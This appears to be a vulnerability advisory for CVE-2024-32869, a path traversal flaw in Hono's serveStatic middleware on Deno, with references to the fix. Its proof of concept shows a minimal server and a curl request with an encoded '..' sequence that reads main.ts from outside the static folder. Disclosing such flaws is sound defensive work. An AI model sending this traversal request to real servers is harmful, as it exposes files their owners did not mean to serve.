Summary

When using serveStatic with deno, it is possible to directory traverse where main.ts is located.

My environment is configured as per this tutorial
https://hono.dev/getting-started/deno

PoC

$ tree
.
├── deno.json
├── deno.lock
├── main.ts
├── README.md
└── static
    └── a.txt

source

import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts'
import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts'

const app = new Hono()
app.use('/static/*', serveStatic({ root: './' }))

Deno.serve(app.fetch)

request

curl localhost:8000/static/%2e%2e/main.ts

response is content of main.ts

Impact

Unexpected files are retrieved.

References

• GHSA-3mpf-rcc7-5347
• honojs/hono@92e65fb
• https://nvd.nist.gov/vuln/detail/CVE-2024-32869